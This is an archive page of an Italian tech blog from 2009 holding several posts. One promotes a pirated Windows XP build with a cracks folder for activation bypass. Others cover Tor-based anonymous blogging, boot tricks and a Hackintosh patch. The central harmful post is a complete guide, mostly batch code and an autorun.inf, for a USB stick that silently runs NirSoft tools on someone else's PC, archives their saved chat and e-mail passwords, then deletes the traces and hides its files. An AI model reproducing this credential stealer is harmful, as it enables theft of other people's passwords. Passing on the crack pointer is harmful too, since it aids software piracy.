Archivio per Tecnologia

Windows ICE XP 5 Supreme

Posted in Tecnologia with tags , , , , , , , , on 21/04/2009 by pcweek94


Based on OS: Windows XP Professional OEM
Service Pack: 3
Version: 07/01/2001 5.1.2600.5512
Lang: ITALIANO
Ice Version: 5.0 Supreme
ISO: 666 Mb
Spazio occupato: 1.02 Gb (senza pagefile.sys)
Release date: 19/03/09
Info generali
Interfaccia Ice Style
Service Pack 3 più Hotfix fino a marzo 2009
Driver SATA support
Internet Explorer 7
Windows Media Player 11
Windows Sidebar
DirectX 9c Novembre 2008
Flash Player 10 ActiveX
Silverlight 2.0
Kel’s CPL All-in-One v9.2.6
UWP Utilities Pack**
Tweaks e modifiche vari per piu prestazioni e affidabilità
Nuove funzioni nel menu contestuale
Post-Install with Tweaks
Changelog
Windows Update hotfix @ Marzo 2009
Strumento di rimozione Malware non preinstallato (viene aggiornato ogni mese in Win Update)
Aggiunti i driver SATA
Nuova interfaccia
Restyle del tema Vista Ice
Nuove proprietà di sistema Nuove animazioni della shell **
Nuovo AVI di intro a fine setup **
"Guida in linea" non presente
Tema Luna assente
Connessioni TCP/IP portate da 50 a 100
Sostituzione/aggiunta/rimozione dei vari tweaks di Ice Xp
Aggiunto il tweak per la cache L2 uguale a 3 Mb (post-install)
**: Coded By Surfer…exclusive Windows Ice XP features…Thank’s Man
Bug Fixes
Migliorata la compatibilità di alcuni servizi
Fixato il problema del fusorario inizialmente impostato su kabul
Fix dell’immagine di logon per monitor Wide
Gadgets volume non funzionante rimosso
Fix del servizio per le  tastiere multimediali
Fixati alcuni problemi legati a degli hotfix
Fix dei suoni di avvio e spegnimento
Combinazione di suoni ora preconfigurata
Fix di alcune icone "old style"
Fixata la freccetta dei collegamenti
Fixagi alcuni problemi dell’interfaccia del post-install per monitor con alte risoluzioni
Clear type ora attivato al primo avvio
Rimozione di alcuni tweaks "obsoleti"
Cabaggio file migliorato per uno spazio piu contenuto
Ripristinato Outlook Express
Ripristinati i "giochi su internet"
Risolti alcuni problemi riguardanti i servizi DCOM
Fix di bug minori


ATTIVAZIONE: WGA (WINDOWS GENUINE ADVANTAGE) E VIA DICENDO…
Dentro il CD c’è una cartella chiamata "!CRACKS!". Apritela e leggete il file di testo chiamato I S T R U Z I O N I. Nient’altro da aggiungere.


Anteprima

Rubare le password con una chiavetta usb!

Posted in Tecnologia with tags , , , , , , , on 20/04/2009 by pcweek94

Il sito web Nirsoft fornisce diversi programmi gratuiti per recuperare le password salvate nel computer che si sta usando nel caso in cui le si dimenticano. E’ possibile però usare questi programmi gratuiti per altri scopi, come rubare le password del computer che si sta utilizzando.

Se un malintenzionato ha accesso fisico al computer da cui rubare le password, ha a disposizione solo pochi secondi per compiere l’”operazione”. Da questa necessità, ecco l’idea di usare una chiavetta USB. Con questo articolo, voglio semplicemente farvi vedere come sia facile creare una chiavetta USB che, inserita nel computer che ci interessa, salva le password trovate all’interno della chiavetta stessa.

Così facendo, basta collegare la chiavetta al computer che ci interessa, fare un semplice click e dopo qualche secondo staccare la chiavetta ed allontanarci dal computer con le password. Per realizzare questa chiavetta USB speciale, prima di tutto, create una cartella sul vostro desktop con il nome di Chiavetta. Questa cartella conterrà tutti i file che andranno copiati nella chiavetta.

Collegatevi alla pagina del sito web di Nirsoft per scaricare i programmi per recuperare le password. Vi consiglio di scaricare solo i programmi che vi recuperano le password che vi interessano. Se avete intenzione, ad esempio, di recuperare solo le password dei programmi di chat e quelli delle e-mail, scaricate i programmi MessenPass e Mail PassView.

Dopo aver scaricato i pacchetti con i programmi per recuperare le password, estraeteli nella cartella Chiavetta. In questa cartella lasciate solo i programmi veri e propri: cancellate, in breve, gli altri file come il readme.txt o la guida di utilizzo del programma.

A questo punto, scaricate ed installate l’ultima versione di Winrar. Andate su questa pagina e fate click sulla voce WinRAR 3.60 (Graphic and command line). Dopo aver installato Winrar, andate su Start/Risorse del computer/C:/Programmi/WinRAR, copiate ed incollate il programma Rar.exe nella cartella del desktop Chiavetta.

Adesso aprite il Blocco Note, andando su Start/Tutti i programmi/Accessori/Blocco note, e scrivete la seguente riga per ogni programma che recupera le password che avete inserito nella cartella Chiavetta:

@nomedelprogramma.exe /sverhtml nomedelprogramma.html

Al termine del file scrivete, invece, le righe:

REM Scrittura del file di log
@echo COMPUTERNAME = %COMPUTERNAME% > log.txt
@echo USERNAME = %USERNAME% >> log.txt
@echo USERDOMAIN = %USERDOMAIN% >> log.txt
@echo USERPROFILE = %USERPROFILE% >> log.txt
@echo. >> log.txt
@echo Oggi e’ %DATE% e sono le %TIME% >> log.txt

REM Compressione
@rar.exe a -pPASSWORD backup_%random%.rar *.html log.txt > nul

REM Eliminazione e celamento dei file usati
@del *.html
@del log.txt
@attrib +h *.exe
@attrib +h autorun.inf

In breve, quando avvierete questo piccolo programmino, le password verranno recuperate dal computer e salvate in diversi file .HTML. A questo punto, questi file HTML vengono inseriti in un archivio .RAR protetto da password. La password dell’archivio deve essere specificata al posto della parola PASSWORD.

La password è case sensitive: fanno differenza, quindi, le lettere maiuscole e quelle minuscole. Alla fine i programmi utilizzati per recuperare le password vengono nascosti e le pagine HTML eliminate, poichè già inserite nell’archivio .RAR. Nel mio caso (programmi MessenPass e Mail PassView), ho scritto queste righe:

@mspass.exe /sverhtml mspass.html
@mailpv.exe /sverhtml mailpv.html

REM Scrittura del file di log
@echo COMPUTERNAME = %COMPUTERNAME% > log.txt
@echo USERNAME = %USERNAME% >> log.txt
@echo USERDOMAIN = %USERDOMAIN% >> log.txt
@echo USERPROFILE = %USERPROFILE% >> log.txt
@echo. >> log.txt
@echo Oggi e’ %DATE% e sono le %TIME% >> log.txt

REM Compressione
@rar.exe a -pPASSWORD backup_%random%.rar *.html log.txt > nul

REM Eliminazione e celamento dei file usati
@del *.html
@del log.txt
@attrib +h *.exe
@attrib +h autorun.inf

Alla fine, salvate il file con il nome lancia.bat: andate semplicemente su File/Salva file con nome… e, nella finestra che si apre, scrivete lancia.bat in Nome file e selezionate Tutti i file in Salva come. Il file deve essere salvato nella Chiavetta.

Dopo aver creato il file lancia.bat, create il file autorun.inf sempre con il Blocco note:

[autorun]
open=lancia.bat
action=Preleva password

A questo punto avete finito. Nella cartella troverete i seguenti file:

Contenuto chiavetta

Dovete semplicemente copiare tutti i file nella cartella principale della vostra chiavetta USB per concludere la sua creazione. Se volete fare delle prove, dopo aver copiato i file, estraete ed inserite la chiavetta. Verrà aperta la seguente finestra:

Chiavetta USB

Se selezionate la prima voce (Preleva password) e fate click sul tasto OK, le password del computer verranno salvate all’interno dell’archivio protetto .RAR. A questo punto, basta staccare la chiavetta ed andare in un computer sicuro con Winrar installato per leggere le password trovate.

L’articolo è stato aggiornato rispetto alla pubblicazione iniziale, grazie all’aiuto del blogger Alessandro Ferrari, che ha revisionato il codice .BAT. L’articolo è puramente a scopo di studio e l’autore non si ritiene responsabile per eventuali usi impropri. Rubare password che non siano le proprie non è legale.

Blogging Anonimo

Posted in Tecnologia with tags , , , , on 20/04/2009 by pcweek94

Blogging anonimo, creare e curare su Internet un blog anonimo. Hai ragione, sono stato troppo sintetico. Mi spiego meglio. Non pochi lettori mi hanno espresso la volontà di creare e gestire un blog su Internet in forma del tutto anonima, cioè senza fare sapere chi sono.

Ritengo che alcuni strumenti, alla portata di tutti, possano permettere un elevato livello di anonimità su Internet. Non è possibile garantire l’anonimato in tutte le circostanze (basta avere installato, a nostra insaputa, sul nostro PC un programma di sorveglianza per rendere inefficaci tutti i nostri accorgimenti), ma i miei consigli, uniti ad un pizzico di buon senso, possono essere il punto di partenza per preservare la nostra identità di blogger segreto.

La prima cosa che dobbiamo fare è quella di configurare opportunamente il computer che useremo per creare e gestire il nostro blog anonimo. Partiamo dal presupposto che ad ogni computer collegato ad Internet è stato associato un indirizzo IP, un “codice identificativo” che viene associato ad ogni azione svolta su Internet e che può essere associato (hai ragione, è la terza volta che ripeto questo verbo) dal provider che lo ha assegnato al computer, come Alice, ad una persona fisica (noi).

Per restare anonimi, è di fondamentale importanza mascherare il nostro indirizzo IP. Per farlo, dobbiamo utilizzare tre strumenti del tutto gratuiti: Mozilla Firefox, TOR e TorButton. Vediamoli.

Mozilla Firefox è un browser alternativo a Internet Explorer. E’ bene abbandonare Internet Explorer per Mozilla Firefox, in quanto Internet Explorer è piuttosto vulnerabile e gli errori vengono corretti con una certa lentezza da Microsoft. Le vulnerabilità potrebbero essere utilizzate per identificarci.

TOR è un sofisticato sistema di anonimizzazione che si basa su network di proxy. I proxy sono degli intermediari: richiedono una pagina Web per conto nostro e poi la inviano al nostro computer. Il tutto significa che il sito Internet non viene a conoscenza dell’indirizzo IP del nostro computer, ma di quello del proxy che lo fa per conto nostro.

Quando utilizziamo TOR, la pagina Web, prima di arrivare al nostro computer, passa per tre differenti proxy in forma criptata. Così anche se uno o più proxy fossero compromessi, sarebbe difficile rintracciarci o leggere la pagina Web che abbiamo richiesto. L’unico limite è il rallentamento della navigazione su Internet, legata al fatto che le pagine Web che richiediamo passano per diversi proxy.

TorButton è una estensione per Mozilla Firefox che permette di attivare TOR con un singolo click e ci indica chiaramente se stiamo utilizzando TOR o meno quando navighiamo su Internet.

La seconda cosa che dobbiamo fare è quella di creare un indirizzo e-mail anonimo, che ci servirà per creare il nostro blog. L’indirizzo e-mail non deve essere associato alla nostra identità. Attraverso Mozilla Firefox e sotto la protezione di TOR, che maschera il nostro indirizzo IP e quindi la nostra identità, creiamo un indirizzo e-mail gratuito utilizzando servizi come Gmail oppure utilizziamo una e-mail usa e getta utilizzando servizi come Tempinbox o Bugmenot.

Non utilizziamo il nostro indirizzo e-mail attuale, perché quando lo abbiamo creato eravamo collegati con il nostro reale indirizzo IP associabile, quindi, alla nostra identità.

La terza e ultima cosa che dobbiamo fare è creare e gestire il nostro blog. Attraverso Mozilla Firefox e sotto la protezione di TOR, che maschera il nostro indirizzo IP e quindi la nostra identità, creiamo un blog su una piattaforma gratuita come MyBlog o WordPress.

Solitamente i servizi di questo genere ti mandano un indirizzo e-mail con un collegamento per confermare la tua registrazione. Ovviamente fai il tutto sotto la protezione di TOR.

Quando scrivi un articolo da pubblicare sul blog anonimo, scrivilo offline, cioè senza essere connesso su Internet. In questo modo, puoi scriverlo in un posto riservato, senza alcuna necessità di finirlo in tempi record e in piena tranquillità. Per scrivere il tuo articolo, utilizza ad esempio Blocco Note.

Prima di pubblicare il tuo articolo, modificane la data di pubblicazione, spostandola in avanti. L’orario di pubblicazione potrebbe essere infatti utilizzato per identificarti, mentre in questo modo si mischiano le carte.

Non ti resta infine che cancellare, al termine del blogging, tutte le tracce del browser e del tuo computer che potrebbero identificarti. Per farlo, puoi utilizzare il programma gratuito CClenaner. Per cancellare invece gli articoli scritti e salvati sul tuo computer, utilizza il programma Eraser.

Come trasformare il Desktop in 3D – Salvatore Aranzulla

Posted in Tecnologia with tags , , , , , , on 20/04/2009 by pcweek94

Collegati sul sito Internet di BumpTop e fai click sul pulsante giallo Download. Nella pagina Web che si apre, fai click sul pulsante Download Now presente nella colonna BumpTop Free e poi sulla voce Download Now per scaricare il programma sul tuo PC.

Al termine dello scaricamento, fai doppio click sul file di installazione scaricato. Nella finestra che si apre, fai click sul pulsante Next. Accetta, quindi, le condizioni di utilizzo del programma, spuntando la voce I Agree, e fai sempre click su Next.

Nella finestra Choose BumpTop Version, che si apre, fai click sul pulsante BumpTop Free. Non ti resta che fare click sul pulsante Close per chiudere la procedura di installazione. Apri il tuo Desktop e fai click sul pulsante Skip tutorial, in basso a destra nello schermo, e poi su OK. Voilà, ecco il tuo Desktop in 3D!

Per disattivare BumpTop e ritornare al Desktop tradizionale, fai click con il tasto destro del mouse sulla sua icona presente accanto all’orologio di Windows e seleziona la voce Exit BumpTop.

via Come trasformare il Desktop in 3D – Salvatore Aranzulla.

Guida: come trasformare una penna USB in una chiave per accedere al sistema – Geekissimo

Posted in Tecnologia with tags , , , , on 20/04/2009 by pcweek94

Utilizzate Windows XP come sistema operativo e volete stupire i vostri amici con una bella “geekata“? Bene, allora rimboccatevi le maniche, recuperate la prima penna USB che vi capita sotto mano (a meno che non siate in un mezzo di trasporto pubblico o in un luogo affollato!) e riponete una bottiglietta di acqua santa sulla vostra scrivania: si comincia!

Oggi, vedremo insieme come, in una manciata di secondi, è possibile trasformare qualsiasi drive USB in una vera e propria chiave, senza la quale è impossibile accedere al sistema. Tutto quello che occorre fare è spostare qualche file e seguire dettagliatamente le istruzioni che seguono. Buon divertimento!

Entrare nel BIOS ed accertarsi che sia possibile effettuare il boot da drive USB (se il PC non è molto vecchio dovrebbe essere possibile).

Accedere a Windows XP ed assicurarsi, attraverso il menu “Strumenti > Opzioni cartella”, che sia abilitata la visualizzazione dei file e delle cartelle nascoste;

Inserire un penna USB nel computer e formattarla;

Recarsi nella partizione dov’è installato il sistema operativo (solitamente C:), tagliare i file boot.ini (che il file grazie al quale la macchina comprende l’ubicazione del sistema), NTLDR (ossia l’NT loader che fa partire il sistema operativo) ed ntdetect.com (che rileva l’hardware di base per far partire il sistema), ed incollarli nella penna USB;

Riavviare il computer (con la penna USB inserita);

Recarsi nel BIOS ed impostare il boot da drive USB.

Da questo punto in poi, come preannunciato, sarà necessario avere la penna USB contenente i file di sistema collegata al computer per avviare correttamente il sistema operativo.

E se le cose non filano tutte lisce come l’olio? Niente panico, nel malaugurato caso in cui fosse stato saltato o mal eseguito qualche passaggio della guida e si rilevasse qualche problema nell’accedere al sistema, tutto quello che occorre fare è inserire il CD d’installazione di Windows XP nella macchina, effettuare il boot da quest’ultimo, accedere alla console di ripristino, dare il comando bootcfg /rebuild e seguire la procedura guidata.

Insomma, nulla di fondamentale per la sicurezza dei propri dati o per la sopravvivenza della razza umana… ma molto, molto geek!

via Guida: come trasformare una penna USB in una chiave per accedere al sistema – Geekissimo.

Guida: come installare Windows 7 da una penna USB – Geekissimo

Posted in Tecnologia with tags , , , , , , , , on 20/04/2009 by pcweek94

Cosa serve:

Un drive USB (minimo 4GB)

I file d’installazione di Windows 7

Cosa fare:

1. Collegare il drive USB al computer;

2. Aprire il prompt dei comandi con privilegi da amministratore;

3. Digitare “diskpart” e premere il tasto Invio;

4. Digitare “list disk” e premere il tasto Invio;

5. Appuntare il numero assegnato dal PC al dispositivo USB (ad esempio “Disk 1“);

6. Presumendo che il dispositivo USB sia il “Disk 1“, digitare i seguenti comandi (sostituendo al numero “1″ quello corrispondente alla penna USB):

select disk 1

clean

create partition primary

select partition 1

active

format fs=ntfs

assign

exit

7. Inserire il disco d’installazione di Windows 7 nel lettore del PC;

8. Appuntare la lettera del drive corrispondente al DVD e quella del drive corrispondente alla penna USB (nella guida useremo “E” per il DVD ed “H” per la penna USB);

9. Tornare nel prompt dei comandi (da aprire sempre con privilegi da amministratore);

10. Digitare “e:cd boot” e premere il tasto Invio;

11. Digitare “cd boot” e premere il tasto Invio;

12. Digitare “bootsect.exe/nt60 h:” e premere il tasto Invio;

13. Copiare tutto il contenuto del disco di Windows 7 nella penna USB;

14. Riavviare il PC;

15. Entrare nel BIOS ed impostare la penna USB come drive dal quale effettuare il boot;

16. Installare Windows 7.

via Guida: come installare Windows 7 da una penna USB – Geekissimo.

INCREDIBILE! Come installare Mac OSX Leopard su un PC! – Geekissimo

Posted in Tecnologia with tags , , , , , on 19/04/2009 by pcweek94

Cosa serve: L’immagine del DVD patchato; il file zip contenente la patch; una penna USB formattata in FAT32.

Passo 1: preparazione

1. Masterizzare l’immagine del DVD con un software come Nero.

2. Formattare la penna USB e rinominare la sua etichetta come “Patcher” (senza le virgolette).

3. Estrarre il contenuto del file zip nella penna USB.

4. Controllare che nel dispositivo USB vi sia una cartella chiamata “files”. Se non c’è, ripetere tutto da capo.

Passo 2: installazione di Leopard

1. Inserire il DVD di Leopard nel PC, riavviare il computer e, tramite la pressione del tasto F12, utilizzarlo per avviare il sistema.

2. Ad installer caricato, selezionare la propria lingua, selezionare la voce “Customize” e deselezionare tutti i package visualizzati.

3. Attendere che la procedura d’installazione di Leopard sia completa.

4. Assicurarsi che la penna USB sia connessa al PC e riavviare quest’ultimo.

Passo 3: patchare Leopard

1. Utilizzare, come fatto in precedenza, il DVD di Leopard per il boot.

2. Attendere il caricamento di “Darwin BootLoader”, premere F8 per accedere al prompt dei comandi e digitare “-s” (senza virgolette). Se visualizzate qualche errore, qualcosa nell’installazione purtroppo non è andato come si deve!

3. A setup caricato, selezionare la propria lingua ed andare in “Utilities” > “Terminal”.

4. A terminal caricato, andare nella chiavetta USB e digitare quanto segue:

cd ..

cd ..

cd Volumes

cd Patcher

cd files

Da notare lo spazio tra la voce “cd” ed i due punti a seguire.

5. Adesso bisogna avviare la patch (sempre dal terminal):

./9a581PostPatch.sh

6. Rispondere “Sì” (per rimuovere ACPUPowerManagement.kext).

7. A script terminato, riavviare il PC.

Ecco fatto! Con questo metodo si è portata a termine la grande impresa: Leopard su un PC!

via INCREDIBILE! Come installare Mac OSX Leopard su un PC! – Geekissimo.